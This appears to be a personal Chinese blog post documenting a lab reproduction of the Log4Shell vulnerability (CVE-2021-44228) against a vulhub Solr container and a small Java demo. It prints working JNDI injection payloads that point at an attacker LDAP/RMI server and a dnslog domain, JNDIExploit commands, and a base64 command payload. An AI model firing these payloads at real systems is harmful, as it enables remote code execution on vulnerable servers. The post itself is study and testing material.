log4j2

0x01 起因

我之前玩htb用过相关利用,当时花了时间看了原理,他喵的看不懂,没办法,挖洞挖不出来,歇一会儿研究研究这个。

主要是需要到代码这块

0x02 初步

2021年12月的洞,实际是11月14日阿里报道过一次

一般都是远程代码执行,通过LDAP协议或者RMI协议,攻击者会生成这其中一种服务器,并加载我们的class文件(TF.class)(放到另一个地方,比如python启动的服务器就可以了),用它们的术语就是说将远程class文件注册到了这个ldap|rmi服务器上的端口1234

等待被访问即可,比如

1
"rmi://攻击机服务器ip:1234/Tf"

这上面都是攻击机上的操作

利用方式呢,拿rm就是java的log4j2“框架特性”,使得可以去调用攻击者构造好的恶意class文件,导致漏洞生成

这种特性呢就是说,log4j2对应的依赖属于有漏洞的版本,maven或gradle构建项目时对应的配置文件存在相应的log4j依赖

也可以理解为有没有引用相关的jar包了,比如log4j-api:***.jar这种形式

再追究一下,它能够下载恶意的class文件,说明它没有做限制,类似于ssrf不做限制导致的结果

0x03 复现

适用性jdk<=1.8.0.191

log4j2是log4j的升级版,一个基于Java的日志记录工具,自带一个功能,即一个封装方法,叫lookup,它通过 ${logPath}获取这个属性的值,解析 ${开头的变量。lookup的具体实现我不想看

之后涉及到一个jndi解析器

全称为Java命名和目录接口,提供了命名服务和目录服务,允许从指定的远程服务器获取并加载对象,JNDI注入攻击时常用的就是通过RMI和LDAP两种服务

可以理解为,由于日志的记录功能, 用户的输入都会被送到log4j2进行解析

CVE-2021-44228

重新介绍一下,它叫Apache Log4j2 lookup feature JNDI injection

在vulhub中https://vulhub.org/#/environments/log4j/CVE-2021-44228/,它的payload是这样

1
GET /solr/admin/cores?action=${jndi:ldap://ip:1234/test} HTTP/1.1

算了,启动一个docker吧,走一遍

利用一下:

1
http://192.168.1.109:8983/solr/admin/cores?action=${jndi:ldap://scpxavzapb.dgrh3.cn}

它确实访问了dnslog

看看日志内容,它说什么不支持,但还是去访问了

日志内容

rmi的话:

1
http://192.168.1.109:8983/solr/admin/cores?action=${jndi:rmi://192.168.1.101:8085/FXztBlpL}

日志就那样,说什么不支持,看看tmp下是否有对应txt文件,没有,看了会儿这个代码

1
classObj,err = yso.GenerateClass(yso.useTemplate("RuntimeExec"),yso.evilClassName("FXztBlpL"),yso.majorVersion(52),yso.useClassParam("cmd","touch /tmp/yuleiyun.txt"))

cmd命令,那没事了,kali应该是bash

无所谓,我们已经清晰的知道,要达到这种效果,需要伪造一个rmi服务器,同时还有一个web服务器(主要是装恶意class文件)

使用下面的jar包,自动生成好所有的利用方式,所以启动比较慢

1
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.1.101

哦,看错了,它这个启动只是给了http服务器和ldap服务器,具体payload通过

1
java -jar JNDIExploit-1.4-SNAPSHOT.jar -u
1
ldap://192.168.1.101:1389/GroovyBypass/Command/Base64/dG91Y2ggL3RtcC95dWxlaXVuLnR4dA==

没用,那只能弹shell试试了,也没用

payload

嘶,算了就这样

在公众号看到了一张流程图,真不错,仿做了一个

流程图参考来自:http://cn-sec.com/archives/2904553.html

高版本绕过?

有师傅分享了公众号一篇log4j2高版本绕过方法,即jdk>1.8.0.191

起因是高版本jdk的loadClass方法加了一个判断

com.sun.jndi.ldap.object.trustURLCodebase

是否允许请求Codebase下载所需的Class文件(默认为false,所以不会去远程下载)

Codebase:使用Java语言编写的程序,不仅可以在本地的classpath中加载类,也可以根据需要从网络上下载类。为了使Java程序可以从网络上下载类,我们需要使用codebase,codebase指定了Java程序在网络上何处可以找到需要的类

人话就是,rmi服务器,这种远程调用下载class文件不让用,但可以ladp协议

后面好像又根据fastjson组件,1.2.49开始,有一条原生原序列化链,进行了一个绕过利用

还没来得及细看,这个文章被删了。。。

主要的思路就是通过其它有漏洞的组件入手,再配合ldap或rmi协议+利用链进行攻击

好吧,又有师傅分享了其它地址,同一篇文章:http://cn-sec.com/archives/2904553.html

止步于此,个人原因,之后的步骤暂时复现不了

代码(未成功)

——2024-7-5补充!!!!!

在学CC链的时候,照着搭建了下环境,从代码角度看还是很清晰的,那这个log4j2我也想代码康康

影响版本:Apache Log4j 2.x <= 2.15.0-rc1

依赖导入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>

<groupId>org.apache.logging.log4j</groupId>

<artifactId>log4j-core</artifactId>

<version>2.14.1</version>

</dependency>

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->

<dependency>

<groupId>org.apache.logging.log4j</groupId>

<artifactId>log4j-api</artifactId>

<version>2.14.1</version>

</dependency>

写一个Demo,注释的那个暂时有问题好像

1
2
3
4
5
6
7
8
public class log4 {

private static final Logger LOGGER = LogManager.getLogger(log4.class);
public static void main(String[] args) {
//String s="${jndi:rmi://192.168.1.101:8085/LPuKYwhq}";
LOGGER.error("${java:os}");
}
}

java.os确实打印出东西,这个只能理解为是一种特定语句的解析,而对于攻击者来讲,自然想触发前者jndi那个

但是呢前者语句,使得程序保持在运行状态,没有触发语句,跟着debug进去,我发现这个过程还是很长的,就算了

但是仅仅dnslog的话是可以的

1
String s="${jndi:ldap://${sys:java.version}.iifyvjypph.dgrh3.cn}";

哦,这样一看,那不就是版本太高了嘛!刚好,把环境再搞搞配合一下fastjson

引入fastjson

1
2
3
4
5
 <dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>

因为要用到fastjson利用链,那就待补充吧,这里

https://www.cnblogs.com/shaoqiblog/p/17236778.html

总结

总结一下啊,log4j2自带一个jndi解析器,解析的是**${jndi:**开头的字段,而后面的内容它不加以限制,用户任意输入都计入日志里,导致可以任意访问。

就这样,你如果要具体到哪个类干了啥,那我就头痛了

所以呢对输入进行限制就可以了,白名单啊,或者**${}**禁用什么的,都可以

参考:

https://blog.csdn.net/Bossfrank/article/details/130148819

https://mp.weixin.qq.com/s/wMWsEobetgB3mNBZfPWoLA

https://www.freebuf.com/vuls/382838.html

https://blog.csdn.net/2301_80127209/article/details/133990134

https://blog.csdn.net/cdyunaq/article/details/121927991

https://www.freebuf.com/articles/web/380568.html

log4j2 底层调用链 https://www.cnblogs.com/shaoqiblog/p/17236778.html

https://github.com/haigeek/Log4j2_RCE

记录

1.docker拉取失败

1
error pulling image configuration: download failed after attempts=6: dial tcp 31.13.80.54:443: i/o timeout

A:主要是换镜像源

lxcw http://t.csdnimg.cn/jkn0i

2.docker只能本地浏览器访问,局域网的windows访问不到

A:在一切正常的前提下,是因为我windows打开了代理,关闭即可

3.log4j2自己搭建的不弹计算器,报错

1
2
Connected to the target VM, address: '127.0.0.1:11146', transport: 'socket'
08:14:45.065 [main] ERROR org.log4j2.log4 - ${jndi:rmi://192.168.1.101:8085/LPuKYwhq}

而且yakit的反连服务器没有触发http服务器

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信